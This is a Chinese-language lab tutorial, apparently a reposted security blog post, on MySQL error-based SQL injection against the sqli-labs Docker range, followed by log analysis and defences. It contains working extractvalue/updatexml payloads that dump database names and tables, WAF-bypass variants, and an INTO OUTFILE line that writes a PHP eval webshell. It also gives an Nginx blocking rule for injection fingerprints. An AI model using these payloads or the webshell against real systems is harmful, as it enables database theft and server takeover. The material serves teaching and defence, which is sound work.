靶场实战11|报错也能把数据库拖走(附docker靶场部署步骤)"

admin 2026-10-22 13:26:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

靶场实战11|报错也能把数据库拖走(附docker靶场部署步骤)

原创

安全值班室
安全值班室

安全值班室

2026年10月17日 09:00
北京

去阅读

上一章盲注靠\"是/否\"一比特一比特猜,太累。还有一种场景:页面会报错,但报错里带着数据库信息——能不能让数据库把答案直接\"吐\"出来?能。用 MySQL 的 extractvalue / updatexml 函数故意制造 XPATH 语法错误,让报错信息变成你的显示器,这就是报错注入。本章再用 sqli-labs 把报错注入和常见 WAF 绕过完整跑一遍。

01 / 环境搭建:一条命令拉起报错注入靶场

sqli-labs 的 Less-11 是教科书级 POST 报错注入关卡,Less-7 展示 into outfile 写文件危害。MySQL 5.x 自带 extractvalue / updatexml,报错注入全靠它们。

一键启动命令

一键启动 sqli-labs(若 8082 被前几章占用,改用 8084)

dockerrun-d--namesqli-labs2-p8084:80--restart=alwaysdocker.1ms.run/acgpiano/sqli-labs

↑ sqli-labs:SQLi 专项靶场,镜像已内置数据库,开箱即用

访问 http://localhost:8084/Less-11/  (登录框 uname / passwd)

注意:Less-11 是 POST 型注入,参数在请求体里,不在 URL 里

验证靶场就绪:用默认账号 Dumb/Dumb 登录,应回显 \"Your Login name\"

curl-s-d\"uname=Dumb&passwd=Dumb&submit=Submit\"\
  http://localhost:8084/Less-11/ | grep -i \"Login name\"

⌨️ 整块复制以上命令,粘贴到终端回车即可执行

靶场说明:报错注入的原理是 MySQL 的 extractvalue(XML\_doc, XPath) 和 updatexml(XML\_doc, XPath, new\_val) 在 XPath 参数非法时报错,并把整段表达式回显。只要把子查询塞进 XPath 参数,报错就替你执行了查询。

避坑指南

1. 报错被截断:extractvalue 报错只回显约 32 字符,数据太长会显示不完整——用 substr 分片取,别硬拼。
2. POST 参数没生效:Less-11 是 POST 型,用 curl -d 或 Burp 改包,别往 URL 里塞。
3. 端口冲突:报 bind: address already in use,说明 8084 被占,换端口或 docker rm 旧容器。
4. 报错不出现:先确认当前用户对 information\_schema 有读权限;MySQL 8 里部分函数行为有差异,建议用 5.x 镜像。

02 / 模拟攻击:五步拿到库名表名

第一步:探测注入点(单引号试错)

在登录框用户名处输入单引号,观察响应是否出现 SQL 语法错误——这是最廉价的注入点探测法。

POST/Less-11/HTTP/1.1
Host: localhost:8084
Content-Type: application/x-www-form-urlencoded

uname=admin'&passwd=\\\\\\&submit=Submit

响应出现 \"You have an error in your SQL syntax\",证明单引号被拼进了 SQL——注入点确认。

第二步:extractvalue 报错回显版本

关键Payload(已打码):0x7e 是 ~,concat 让 XPath 非法从而触发报错

uname=admin'ANDextractvalue(1,concat(0x7e,(SELECTversion())))---&passwd=\\\\\\

响应报错:XPATH syntax error: '~5.7.26'。原理:extractvalue 第二个参数不是合法 XPath,MySQL 抛出 XPATH syntax error 并原样回显表达式,子查询结果就跟着\"漏\"了出来。

第三步:报错拖库(表名+字段)

查当前库所有表(group\_concat 拼一行,配合 substr 分片防截断)

uname=admin'ANDextractvalue(1,concat(0x7e,substr((
SELECTgroup\_concat(table\_name)FROMinformation\_schema.tables
WHEREtable\_schema=database()),1,30)))---&passwd=\\\\\\

报错:XPATH syntax error: '~emails,referers,users,uact'

看到 users 表后,再查字段名,最终用 updatexml 也能达到同样效果,两个函数可互换。

第四步:绕过 WAF(三板斧)

① 大小写混写:ExtractValue、SeLeCt(绕过只匹配小写的规则)

② 内联注释:/\!50000extractvalue\/(MySQL 会执行注释内的代码)

③ 空格替换:/\\/、%09、%0a(绕过空格正则)

uname=admin'/\\/AND/\\/ExtractValue(1,concat(0x7e,(SeLeCt/\\/version())))---&passwd=\\\\\\

真实 WAF 还会拦截报错关键字本身,需要结合编码与注释组合变形,这就是\"绕过\"的博弈。

第五步:Less-7 into outfile 写文件(看危害上限)

仅本地演示请求特征:UNION 配合 INTO OUTFILE 可写 webshell

id=1'))UNIONSELECT1,2,'?php@eval($92_POST[1]);?'INTOOUTFILE
'/var/www/html/shell.php'---

成功前提:MySQL 有 FILE 权限且 secure\_file\_priv 未限制

这一层一旦打通,注入直接升级为服务器控制权——这正是必须防护的原因。

03 / 日志分析:报错注入在日志里长什么样

攻击特点

报错注入的特征非常明显:请求参数里带引号/括号/注释符/0x 十六进制编码,响应里出现 SQL 报错片段,且同一来源 IP 会短时间内高频请求、参数逐次微调(自动枚举)。

脱敏日志片段

[REDACTED]--[28/Aug/2026:14:23:41+0800]\"POST /Less-11/ HTTP/1.1\"2001278\"-\"\"Mozilla/5.0\"
[REDACTED]--[28/Aug/2026:14:23:42+0800]\"POST /Less-11/ HTTP/1.1\"2001145\"-\"\"sqlmap/1.7.2#stable\"
[REDACTED]--[28/Aug/2026:14:23:42+0800]\"POST /Less-11/ HTTP/1.1\"2001189\"-\"\"sqlmap/1.7.2#stable\"
14:23:41  [Note] Access denied ... uname=admin' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -

判断标准(至少满足3条可认定攻击)

1. 参数含 SQL 元字符组合:引号 + 括号 + 注释符(-- -、#)+ 0x 编码同时出现,正常用户不会这么输入。
2. 响应含报错关键字:XPATH syntax error、SQL syntax、MySQL 版本号等数据库错误信息被回显。
3. 高频自动枚举:同一 IP 数秒内多次 POST,参数逐次变化(version→database→tables),明显是脚本在跑。
4. 工具 UA:User-Agent 含 sqlmap、nuclei 等工具标识,或 UA 伪装但请求节奏异常。

逐行解读

第1行:普通浏览器 UA 的首次探测,参数异常已可预警;第2-3行:UA 变为 sqlmap,同一秒连续两次 POST——工具开始自动注入,参数每次都在变;第4行(MySQL general\_log):数据库层完整记录了注入语句,extractvalue 和 0x7e 是报错注入的指纹特征。

04 / 如何防护:从根上掐断\"报错显示器\"

先讲原理

报错注入能成功,根因是两个失误叠加:① 开发者把用户输入直接拼接进 SQL 语句;② MySQL 的报错信息原样回显给用户。只要掐断任意一个,报错注入就废了。

基础级(必须做):参数化查询+关报错

//PHPPDO参数化:输入只当数据,不当代码
$stmt=$pdo->prepare(\"SELECT\*FROMusersWHEREname=?\");
$stmt->execute([$\_POST['uname']]);

生产环境关闭错误回显

php.ini: display\_errors = Off

MySQL 账号只用 SELECT/DML,绝不授权 FILE

进阶级(推荐):WAF+白名单

Nginx WAF 关键规则:拦截报错注入指纹

if($args~\*\"extractvalue|updatexml|concat\(|0x[0-9a-f]{2}\"){return403;}

输入白名单:用户名只允许字母数字和少量符号

if($arg\uname!~\"^[a-zA-Z0-9\@.-]{1,32}$\"){return403;}

专家级(纵深防御)

1. 错误统一脱敏:框架层捕获所有异常,统一返回通用错误页,数据库信息永不外泄。
2. 日志监控告警:把 \"XPATH syntax error\"、\"SQL syntax\" 设为告警关键字,命中即触发响应流程。
3. RASP 运行时防护:应用层实时检测 SQL 语句结构异常(如 select 后拼接 extractvalue)。
4. 数据库审计:开启 general\_log/审计插件,高危语句留存溯源。
5. 最小权限:Web 账号只授权业务库,secure\_file\_priv 置空禁止导出。

05 / 总结复盘

要点提炼

  1. 报错注入本质:把数据库报错当\"显示器\",extractvalue / updatexml 的 XPATH 语法错误会原样回显子查询结果。
  2. 回显只有约 32 字符,超长用 substr 分片,别硬拼。
  3. 绕过三板斧:大小写混写、内联注释 /\!50000\/、空白符替换(/\\/、%09)。
  4. 看到 XPATH syntax error 就是报错注入铁证,日志里同时抓 UA 和请求节奏。
  5. 防护一句话:参数化查询 + 关闭错误回显 + 最小权限,三条做到注入基本无门。

面试可能怎么问

Q:报错注入的原理是什么?A:MySQL 的 extractvalue/updatexml 在 XPath 参数非法时报错并回显表达式,把子查询拼进 XPath 参数即可让报错携带查询结果。Q:为什么报错回显有长度限制?A:函数报错信息本身被截断到约32字符,需 substr 分片。Q:如何彻底防御?A:参数化查询让输入只当数据,关闭数据库错误回显,最小权限账号。

SQL 注入讲了联合、盲注、报错三连,下一站换战场:XSS 反射型——注入点从数据库搬到浏览器,目标是你的 Cookie 和会话。

关注我,下期不迷路

MORE

往期回顾

CTF新手速成

靶场实战:从漏洞基础到红队综合

内网渗透学习路线

云安全攻防实战连载

Web安全学习路线

靶场实战11|报错也能把数据库拖走(附docker靶场部署步骤)" 网络安全文章

靶场实战11|报错也能把数据库拖走(附docker靶场部署步骤)"

本文实战演示MySQL报错注入攻击与防护。利用extractvalue/updatexml函数制造XPATH语法错误,使报错信息回显子查询结果,实现拖库。文章涵盖docker部署sqli-labs靶场、五步模拟攻击流程、WAF绕过三板斧(大小写混写、内联注释、空白替换)、日志攻击特征识别及防护措施。核心防护建议为参数化查询、关闭错误回显与最小权限账号。
差点被当成APT黑客:一个Burp插件的连环翻车案" 网络安全文章

差点被当成APT黑客:一个Burp插件的连环翻车案"

本文复盘了一个Burp插件因设计缺陷导致PortSwigger服务器被误认为对全网发起攻击的事故。插件自动向请求注入伪造IP头,触发存在IP欺骗漏洞的站点将攻击归因于PortSwigger服务器。文章分析了事故链条、影响及修复方案,并给出安全工具设计需评估副作用的教训。
评论:0   参与:  0